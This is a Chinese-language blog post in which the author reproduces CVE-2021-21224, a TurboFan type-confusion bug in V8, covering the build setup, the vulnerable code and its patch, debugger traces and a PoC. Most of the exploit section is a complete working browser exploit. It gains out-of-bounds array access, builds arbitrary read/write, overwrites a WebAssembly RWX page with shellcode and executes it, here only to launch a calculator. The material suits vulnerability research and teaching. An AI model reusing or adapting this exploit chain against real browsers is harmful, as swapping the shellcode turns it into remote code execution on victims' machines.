记录 V8 Exploitation 学习过程,从零开始复现一个 CVE。

Environment

操作系统:Ubuntu 18.04 (VMWare Fusion)

安装 depot_tools (Chromium and Chromium OS use a package of scripts called depot_tools to manage checkouts and code reviews.),并更新 $PATH 环境变量:

$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH="/path/to/depot_tools:$PATH"

安装 ninja,后续用于编译 d8:

$ git clone https://github.com/ninja-build/ninja.git
$ cd ninja && ./configure.py --bootstrap && cd ..
$ export PATH="/path/to/ninja:$PATH"

然后获取 v8 源码,checkout 到目标分支(8.9.255),编译生成 d8:

$ fetch v8
$ cd v8 && git reset --hard 16b9bbbd581c25391981aa03180b76aa60463a3e
$ gclient sync -D
$ ./build/install-build-deps.sh
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8

为了提高下载速度,可以租一个国外的 vps 把需要编译的源码更新好,打包后 (zip -r -y -q v8.zip v8) 再传回本地。

Chrome & V8

为什么需要浏览器引擎?

  • JavaScript 代码直接交给浏览器或者 Node 执行时,底层的 CPU 是不认识的,也没法执行。CPU 只认识自己的指令集,而指令集对应的是汇编代码
  • 而 JavaScirpt 引擎可以将 JS 代码编译为不同 CPU 对应的汇编代码。同时它还负责执行代码、分配内存以及垃圾回收

V8 引擎是用 C++ 编写的开源高性能 JavaScript 和 WebAssembly 引擎。它由 Google 丹麦开发,开放源代码,是 Google Chrome 的一部分,也用于 Node.js。

d8 是一个非常有用的调试工具,可以用来查看 V8 在执行 JavaScript 过程中的各种中间数据,比如作用域、AST、字节码、优化的二进制代码、垃圾回收的状态,还可以使用 d8 提供的私有 API 查看一些内部信息。

Google 一开始是参与并采用 WebKit 开发自己的浏览器,后来用自己的 V8 替换了 WebKit 的 JS 解释引擎。再之后,Google 从 WebKit 上拉取了自己的分支 Blink,并一直开发至今

Turbolizer

Turbolizer 是一个可以将 TurboFan 优化过程可视化的基于 HTML 的工具。编译时通过以下方式搭建:

$ cd v8/tools/turbolizer
$ npm i
$ npm run-script build
$ python -m SimpleHTTPServer

可以用 V8 Turbolizer online 在线看

通过添加 --trace-turbo 标志来生成优化过程对应的 json 文件:

$ /path/to/d8 ./poc.js --trace-turbo

其中,不同颜色的节点具有不同的含义:

  • 黄色:控制节点,改变或描述脚本流程
  • 浅蓝色:某个节点可能具有或返回的值的节点
  • 深蓝色:中间语言动作的表示(字节码指令)
  • 红色:JS 级别执行的基本代码或动作
  • 绿色:机器级别的语言

CVE-2021-21224 (Type Confusion)

复现的漏洞是今年上半年 HW 被使用很广泛的洞。复现环境使用 89.0.4389.0 版本的 Chromium (V8 8.9.255)

Downloaded from: A website that helps users to find and download archived Chromium versions.

具体漏洞是在 TurboFan 优化过程中的 Simplified Lowering 阶段,存在一个类型混淆漏洞 (Type Confusion),可以触发整型溢出 (Integer overflow)。漏洞点在函数 RepresentationChanger::GetWord32RepresentationFor src/compiler/representation-change.cc 中:

800 Node* RepresentationChanger::GetWord32RepresentationFor(
801     Node* node, MachineRepresentation output_rep, Type output_type,
802     Node* use_node, UseInfo use_info) {
803   // Eagerly fold representation changes for constants.
804   switch (node->opcode()) {
...
950   } else if (output_rep == MachineRepresentation::kWord64) {
951     if (output_type.Is(Type::Signed32()) ||
952         output_type.Is(Type::Unsigned32())) { /* Current type is Signed32 or **Unsigned32** (Vul) */
953       op = machine()->TruncateInt64ToInt32(); /* Update op to TruncateInt64ToInt32 */
954     } else if (output_type.Is(cache_->kSafeInteger) &&
955                use_info.truncation().IsUsedAsWord32()) { /* Current type is kSafeInterger */
956       op = machine()->TruncateInt64ToInt32(); /* Update op to TruncateInt64ToInt32 */
...

Patch (Merged: [compiler] Fix bug in RepresentationChanger::GetWord32RepresentationFor) 中,增加了:

diff --git a/src/compiler/representation-change.cc b/src/compiler/representation-change.cc
index 64b274c..3d937ad 100644
--- a/src/compiler/representation-change.cc
+++ b/src/compiler/representation-change.cc
@@ -949,10 +949,10 @@
     return node;
   } else if (output_rep == MachineRepresentation::kWord64) {
     if (output_type.Is(Type::Signed32()) ||
-        output_type.Is(Type::Unsigned32())) {
-      op = machine()->TruncateInt64ToInt32();
-    } else if (output_type.Is(cache_->kSafeInteger) &&
-               use_info.truncation().IsUsedAsWord32()) {
+        (output_type.Is(Type::Unsigned32()) &&
+         use_info.type_check() == TypeCheckKind::kNone) ||
+        (output_type.Is(cache_->kSafeInteger) &&
+         use_info.truncation().IsUsedAsWord32())) {
       op = machine()->TruncateInt64ToInt32();
     } else if (use_info.type_check() == TypeCheckKind::kSignedSmall ||
                use_info.type_check() == TypeCheckKind::kSigned32 ||

Why?Operator 被更新成 TruncateInt64ToInt32 后,如果后继节点为有符号数 kSignedSmall 且执行 Operator 后被截断的返回值使用了符号位,就有机会触发整数溢出。

PoC

Question:debug 版本会报错,release 版本没有问题? debug 版一般会加很多额外的检查,这些检查在 release 里面是关闭的状态。很大一部分漏洞都会被 debug 版的 dcheck 捕获,导致程序崩溃。所以要调试可利用漏洞的话一般要用 release 版。可以类比 asan 和非 asan 的版本,真正要利用的时候肯定是没有 asan 的,否则一旦触发漏洞程序就直接崩溃退出了。

Disable DCHECK

How to off DCHECK?

pwndbg> set args --allow-natives-syntax ./poc.js
pwndbg> r
function foo(b) {
  let x = -1;
  if (b) x = 0xffffffff;
  return -1 < Math.max(0, x);
}

console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo); /* 强制启用函数优化 */
console.log(foo(true)); /* 调用函数以执行优化 */

即便不使用 %OptimizeFunctionOnNextCall,将函数重复执行一定次数,一样可以触发 TurboFan 的优化

当另一个线程在优化代码时,主线程可以继续执行其他任务:

pwndbg> info threads
  Id   Target Id         Frame
* 1    Thread 0x7f2996874780 (LWP 26431) "d8" v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor (this=0x7fff20507ba0, node=0x560178376470, output_rep=v8::internal::MachineRepresentation::kTaggedSigned, output_type=..., use_node=0x560178377d30, use_info=...) at ../../src/compiler/representation-change.cc:804
  2    Thread 0x7f29909fd700 (LWP 26435) "V8 DefaultWorke" 0x00007f2992358ad3 in futex_wait_cancelable (private=<optimized out>, expected=0, futex_word=0x5601782bb790) at ../sysdeps/unix/sysv/linux/futex-internal.h:88
$ ./v8/out.gn/x64.debug/d8 ./poc.js --allow-natives-syntax --trace-turbo --trace-turbo-reduction
Concurrent recompilation has been disabled for tracing.
true
true
---------------------------------------------------
Begin compiling method foo using TurboFan
- Replacement of #12: Parameter[-1, debug name: %closure](0) with #46: HeapConstant[0x1380082d2901 <JSFunction foo (sfi = 0x1380082d273d)>] by reducer JSContextSpecialization
- Replacement of #25: JSLoadGlobal[0x13800824a741 <String[4]: #Math>, 1](5, 6, 26, 22, 18) with #47: HeapConstant[0x1380082c5fdd <Object map = 0x1380083029fd>] by reducer JSNativeContextSpecialization
- Replacement of #27: Checkpoint(29, 22, 18) with #22: Checkpoint(24, 8, 18) by reducer CheckpointElimination
- Replacement of #30: JSLoadNamed[0x13800824a8dd <String[3]: #max>, sloppy](47, 5, 4, 31, 22, 18) with #49: LoadField[tagged base, 84, 0x13800824a8dd: [String] in OldSpace: #max, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier, mutable](48, 48, 18) by reducer JSNativeContextSpecialization
- Replacement of #33: Checkpoint(35, 49, 18) with #49: LoadField[tagged base, 84, 0x13800824a8dd: [String] in OldSpace: #max, NonInternal, kRepTagged|kTypeAny, FullWriteBarrier, mutable](48, 48, 18) by reducer CheckpointElimination
- Replacement of #36: JSCall[5, 1, NOT_NULL_OR_UNDEFINED, SpeculationMode::kAllowSpeculation, CallFeedbackRelation::kRelated](50, 47, 32, 21, 5, 6, 38, 52, 18) with #56: NumberMax(54, 55) by reducer JSCallReducer
...
- In-place update of #162: DeoptimizeUnless[Eager, WrongCallTarget, SafetyCheck, FeedbackSource(INVALID)](51, 24, 49, 18) by reducer BranchElimination
- Replacement of #56: Select[kRepWord64, None](70, 69, 63) with #181: Phi[kRepWord64](69, 63, 179) by reducer SelectLowering
- In-place update of #176: Branch[None, SafetyCheck](70, 0) by reducer BranchElimination
- In-place update of #177: IfTrue(176) by reducer BranchElimination
- In-place update of #178: IfFalse(176) by reducer BranchElimination
- In-place update of #179: Merge(177, 178) by reducer BranchElimination
- In-place update of #163: Branch[None, SafetyCheck](41, 162) by reducer BranchElimination
- In-place update of #165: IfFalse(163) by reducer BranchElimination
- In-place update of #172: Return(73, 58, 162, 165) by reducer BranchElimination
- In-place update of #164: IfTrue(163) by reducer BranchElimination
- In-place update of #173: Return(73, 57, 162, 164) by reducer BranchElimination
---------------------------------------------------
Finished compiling method foo using TurboFan
false

%DisassembleFunction(foo);

$ ./v8/out.gn/x64.debug/d8 ./poc.js --allow-natives-syntax
0x31e6000453e1: [Code]
 - map: 0x31e60804261d <Map>
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
address = 0x31e6000453e1
...

Instructions (size = 1168)
0x7f8d42834700     0  448b570b       movl r10,[rdi+0xb]
0x7f8d42834704     4  4d03d5         REX.W addq r10,r13
0x7f8d42834707     7  458b7203       movl r14,[r10+0x3]
0x7f8d4283470b     b  4d03f5         REX.W addq r14,r13
...


true
true
false
0x31e600084001: [Code]
 - map: 0x31e60804261d <Map>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x31e600084001

Instructions (size = 436)
0x31e600084040     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x31e600084047     7  483bd9         REX.W cmpq rbx,rcx
0x31e60008404a     a  7418           jz 0x31e600084064  <+0x24>
0x31e60008404c     c  48ba6c00000000000000 REX.W movq rdx,0x6c
...

Exploit

corrput_arr 的第 13 个元素可以覆盖到 rwarr 的长度

function foo(flag) {
  let x = -1;
  if (flag) x = 0xffffffff;
  let len = 0 - Math.max(0, x);

  let arr = new Array(len);
  arr.shift();
  %DebugPrint(arr);

  return arr;
}

%PrepareFunctionForOptimization(foo);
console.log("arr.length = " + foo(false).length);
%OptimizeFunctionOnNextCall(foo);
console.log("arr.length = " + foo(true).length);

Array.prototype.shift() Trick

               +----------+
corrupt_arr--->|          |
               +----------+
               |          |
               +----------+
               |          |
               +----------+    +----------+
               | elements +--->|          |1
               +----------+    +----------+
                               |          |2
                               +----------+
                               |   ...    |...
                               +----------+
                               |          |8
                               +----------+
                        arr--->|   map    |9
                               +----------+
                               |          |10
                               +----------+
                               | elements |11
                               +----------+
                               |  length  |12
                               +----------+

       DataView                  corrupt_buf
+---------------------+    +---------------------+
|       vtable        |    |                     |
+---------------------+    |                     |
|        type         |    |                     |
+---------------------+    |                     |
|      auxSlots       |    |                     |
+---------------------+    |          .          |
|     objectArray     |    |          .          |
|- - - - - - - - - - -|    |          .          |
|      arrayFlags     |    |          .          |
|  arrayCallSiteIndex |    |          .          |
+---------------------+    |          .          |
|       length        |    |                     |
+---------------------+    |                     |
|     arrayBuffer     |    |                     |
+---------------------+    |                     |
|     byteOffset      |    |                     |
+---------------------+    +---------------------+
|       buffer        |    |    backing_store    |
+---------------------+    +---------------------+

DataView Corruption

                                                                                             actual
      DataView                       ArrayBuffer                                             buffer
+---------------------+   +--->+---------------------+            RefCountedBuffer      +--->+----+
|       vtable        |   |    |       vtable        |   +--->+---------------------+   |    |    |
+---------------------+   |    +---------------------+   |    |       buffer        |---+    +----+
|        type         |   |    |        type         |   |    +---------------------+   |    |    |
+---------------------+   |    +---------------------+   |    |      refCount       |   |    +----+
|      auxSlots       |   |    |      auxSlots       |   |    +---------------------+   |    |    |
+---------------------+   |    +---------------------+   |                              |    +----+
|     objectArray     |   |    |     objectArray     |   |                              |    |    |
|- - - - - - - - - - -|   |    |- - - - - - - - - - -|   |                              |    +----+
|      arrayFlags     |   |    |      arrayFlags     |   |                              |    |    |
|  arrayCallSiteIndex |   |    |  arrayCallSiteIndex |   |                              |    +----+
+---------------------+   |    +---------------------+   |                              |    |    |
|       length        |   |    |      isDetached     |   |                              |    +----+
+---------------------+   |    +---------------------+   |                              |    |    |
|     arrayBuffer     |---+    |     primaryParent   |   |                              |    +----+
+---------------------+        +---------------------+   |                              |    |    |
|     byteOffset      |        |     otherParents    |   |                              |    +----+
+---------------------+        +---------------------+   |                              |    |    |
|       buffer        |---+    |     bufferContent   |---+                              |    +----+
+---------------------+   |    +---------------------+                                  |    |    |
                          |    |     bufferLength    |                                  |    +----+
                          |    +---------------------+                                  |
                          |                                                             |
                          +-------------------------------------------------------------+

       o                  obj                     DataView #1 - dv1                   DataView #2 - dv2
+--------------+        +->+---------------------+          +->+---------------------+  +--> 0x????
|    vtable    | //o.a  |  |       vtable        | //obj.a  |  |       vtable        |  |
+--------------+        |  +---------------------+          |  +---------------------+  |
|     type     | //o.b  |  |        type         | //obj.b  |  |        type         |  |
+--------------+        |  +---------------------+          |  +---------------------+  |
|   auxSlots   +-//o.c--+  |      auxSlots       | //obj.c  |  |      auxSlots       |  |
+--------------+           +---------------------+          |  +---------------------+  |
|  objectArray |           |     objectArray     | //obj.d  |  |     objectArray     |  |
+--------------+           |- - - - - - - - - - -|          |  |- - - - - - - - - - -|  |
                                               |      arrayFlags     |          |  |      arrayFlags     |  |
                                               |  arrayCallSiteIndex |          |  |  arrayCallSiteIndex |  |
                                               +---------------------+          |  +---------------------+  |
                                               |       length        | //obj.e  |  |       length        |  |
                                               +---------------------+          |  +---------------------+  |
                                               |     arrayBuffer     | //obj.f  |  |     arrayBuffer     |  |
                                               +---------------------+          |  +---------------------+  |
                                               |     byteOffset      | //obj.g  |  |     byteOffset      |  |
                                               +---------------------+          |  +---------------------+  |
                                               |       buffer        |-//obj.h--+  |       buffer        |--+ //dv1.setInt32(0x38,0x??,true);
                                               +---------------------+             +---------------------+    //dv1.setInt32(0x3C,0x??,true);

为了保证其内存中所有的数字都是以 0 结尾 (xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0),指针以 1 结尾 (xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1) (Pointer tagging)

pwndbg> job 0x166b082d26d1
0x166b082d26d1: [Function] in OldSpace
 - map: 0x166b083044b5 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x166b082c3469 <JSFunction (sfi = 0x166b082485f5)>
 - elements: 0x166b080426dd <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x166b082d26a9 <SharedFunctionInfo 0>
 - name: 0x166b08044edd <String[1]: #0>
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x166b082c3021 <NativeContext[243]>
 - code: 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
 - Wasm instance: 0x166b082d259d <Instance map = 0x166b08306afd>
 - Wasm function index: 0
 - properties: 0x166b080426dd <FixedArray[0]> {
    0x166b08044649: [String] in ReadOnlySpace: #length: 0x166b08242335 <AccessorInfo> (const accessor descriptor)
    0x166b08044749: [String] in ReadOnlySpace: #name: 0x166b082422f1 <AccessorInfo> (const accessor descriptor)
    0x166b08043df5: [String] in ReadOnlySpace: #arguments: 0x166b08242269 <AccessorInfo> (const accessor descriptor)
    0x166b08043ffd: [String] in ReadOnlySpace: #caller: 0x166b082422ad <AccessorInfo> (const accessor descriptor)
 }
 - feedback vector: feedback metadata is not available in SFI
pwndbg> job 0x166b082d26a9
0x166b082d26a9: [SharedFunctionInfo] in OldSpace
 - map: 0x166b08042595 <Map[40]>
 - name: 0x166b08044edd <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 161
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x166b082d2685 <WasmExportedFunctionData>
 - code (from data): 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
 - script: 0x166b082d2519 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x166b080426d5 <ScopeInfo[0]>
 - length: 0
 - feedback_metadata: <none>
pwndbg> job 0x166b082d2685
0x166b082d2685: [WasmExportedFunctionData] in OldSpace
 - map: 0x166b080458c1 <Map[36]>
 - wrapper_code: 0x166b00084001 <Code JS_TO_WASM_FUNCTION>
 - instance: 0x166b082d259d <Instance map = 0x166b08306afd>
 - jump_table_offset: 0
 - function_index: 0
pwndbg> tel 0x166b082d259c+0x68
00:0000│  0x166b082d2604 —▸ 0x2825e22b4000 ◂— jmp    0x2825e22b4420 /* 0xcccccc0000041be9 */
01:0008│  0x166b082d260c ◂— 0x814862d081484d1
02:0010│  0x166b082d2614 ◂— 0x82d2585082c3021
03:0018│  0x166b082d261c ◂— 0x804230108042301
04:0020│  0x166b082d2624 ◂— 0x81485f508042301
05:0028│  0x166b082d262c ◂— 0x81485b908148621
06:0030│  0x166b082d2634 ◂— 0x814866508042301
07:0038│  0x166b082d263c ◂— 0x38080426dd
pwndbg> vmmap 0x2825e22b4000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x2825e22b4000     0x2825e22b5000 rwxp     1000 0      [anon_2825e22b4] +0x0

谷歌也在 4 月 15 日的更新中修复了该 bug:shift 以及类似的 pop 函数在计算出新的数组长度后会首先进行边界检查,基本上杜绝了类似的利用方式

diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc
index 1a56f79..64fd85f 100644
--- a/src/compiler/js-call-reducer.cc
+++ b/src/compiler/js-call-reducer.cc
...
     control = graph()->NewNode(common()->Merge(2), if_true, if_false);
@@ -5586,19 +5593,27 @@
         }

         // Compute the new {length}.
-        length = graph()->NewNode(simplified()->NumberSubtract(), length,
-                                  jsgraph()->OneConstant());
+        Node* new_length = graph()->NewNode(simplified()->NumberSubtract(),
+                                            length, jsgraph()->OneConstant());
+
+        // This extra check exists solely to break an exploitation technique
+        // that abuses typer mismatches.
+        new_length = etrue1 = graph()->NewNode(
+            simplified()->CheckBounds(p.feedback(),
+                                      CheckBoundsFlag::kAbortOnOutOfBounds),
+            new_length, length, etrue1, if_true1);

...

Calculator won’t start

/* clean up the memory chunk */
function gc() {
    for (var i = 0; i < 0x80000; ++i) {
        var a = new ArrayBuffer();
    }
}

/* leak array buffer */
class LeakArrayBuffer extends ArrayBuffer {
    constructor(size) {
        super(size);
        this.slot = 0xdeadbeef;
    }
}

/* function for vulnerability */
function foo(a) {
    let x = -1;
    if (a)
        x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x)));
    arr.shift();
    /* OOB */
    let local_arr = Array(2);
    local_arr[0] = 5.1; /* 4014666666666666 */
    let buf = new LeakArrayBuffer(0x1000); /* byteLength idx=8 */
    arr[0] = 0x1122;
    return [arr, local_arr, buf];
}

/* pop calculator shellcode -> shellcraft.amd64.execve("/bin/bash", ["bash", "-c", "DISPLAY=:0 gnome-calculator"], 0) */
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 98, 97, 115, 80, 72, 137, 231, 104, 117, 110, 115, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 45, 99, 97, 108, 99, 117, 108, 97, 80, 72, 184, 58, 48, 32, 103, 110, 111, 109, 101, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 99, 96, 114, 105, 1, 44, 98, 1, 72, 49, 4, 36, 49, 246, 86, 106, 16, 94, 72, 1, 230, 86, 106, 21, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

/**
 * WASM Code in C:
 * ```c
 * int main() {
 *   return 42;
 * }
 * ```
 */
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
/* create RWX memory map using WebAssembly */
console.log("[*] create a RWX section using WebAssembly");
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;

/* trigger vulnerability */
console.log("[*] trigger the vulnerability");
for (var i = 0; i < 0x10000; ++i)
    foo(false);
/* clean up */
gc();
gc();
[corrupt_arr, rwarr, corrupt_buf] = foo(true);
corrupt_arr[12] = 0x23333; /* overwrite rwarr's length */
console.log("[+] forge rwarr's length = " + "0x" + rwarr.length.toString(16));
delete corrupt_arr;

/* for data convereting (IEEE 754) */
var bfView = new DataView(new ArrayBuffer(8));

/* get low 4 bytes */
function fLow(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(0, true));
}

/* get high 4 bytes */
function fHi(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(4, true))
}

/* integer to float */
function i2f(low, hi) {
    bfView.setUint32(0, low, true);
    bfView.setUint32(4, hi, true);
    return bfView.getFloat64(0, true);
}

/* Arbitrary read */
function leakObjLow(o) { /* leak low 4 bytes */
    corrupt_buf.slot = o;
    return (fLow(rwarr[9]) - 1); /* return a value */
}

/* leak codebase (JS memory) */
let corrupt_view = new DataView(corrupt_buf); /* DataView for corruption */
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buf); /* leak corrupt_buf ptr */
console.log("[+] LOW(corrupt_buf ptr) = " + "0x" + corrupt_buffer_ptr_low.toString(16));
let idx0Addr = corrupt_buffer_ptr_low - 0x10; /* address of rwarr[0] */
console.log("[+] address of rwarr[0] = " + "0x" + idx0Addr.toString(16));
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; /* base address */
console.log("[+] base address = " + "0x" + baseAddr.toString(16));
let delta = baseAddr + 0x1c - idx0Addr; /* delta */
console.log("[+] delta = " + "0x" + delta.toString(16));
/* codebase */
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    base = fHi(rwarr[baseIdx]);
}
console.log("[+] base = " + "0x" + base.toString(16));

/* Arbitrary write (write corrupt_view's buffer) */
function setBackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);
    rwarr[5] = i2f(low, fHi(rwarr[5]));
}

/* set WASM codebase */
let wasmInsAddr = leakObjLow(wasmInstance); /* leak low 4 bytes of wasm codebase */
console.log("[+] wasmInsAddr = " + "0x" + wasmInsAddr.toString(16));
setBackingStore(wasmInsAddr, base);
let code_entry = corrupt_view.getFloat64(13 * 8, true); /* leak codebase from base */
console.log("[+] code_entry = " + "0x" + fHi(code_entry).toString(16) + fLow(code_entry).toString(16));

/* write shellcode */
setBackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
}

/* execute shellcode */
console.log("[*] PWNED! POP A CALCULATOR!");
main();

References

手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)
V8 环境搭建,100%成功版 - 2019
V8 引擎漏洞分析环境与调试方法基础
从漏洞利用角度介绍 Chrome 的 V8 安全研究 - h1apwn
浅析 V8-turboFan - Kiprey
Chorme-v8-入门学习 - A1ex
CVE-2019-0539 Exploitation. - Perception Point
CVE-2021-21224 分析笔记 - 0x2l
CVE-2021-21224 - fa1lr4in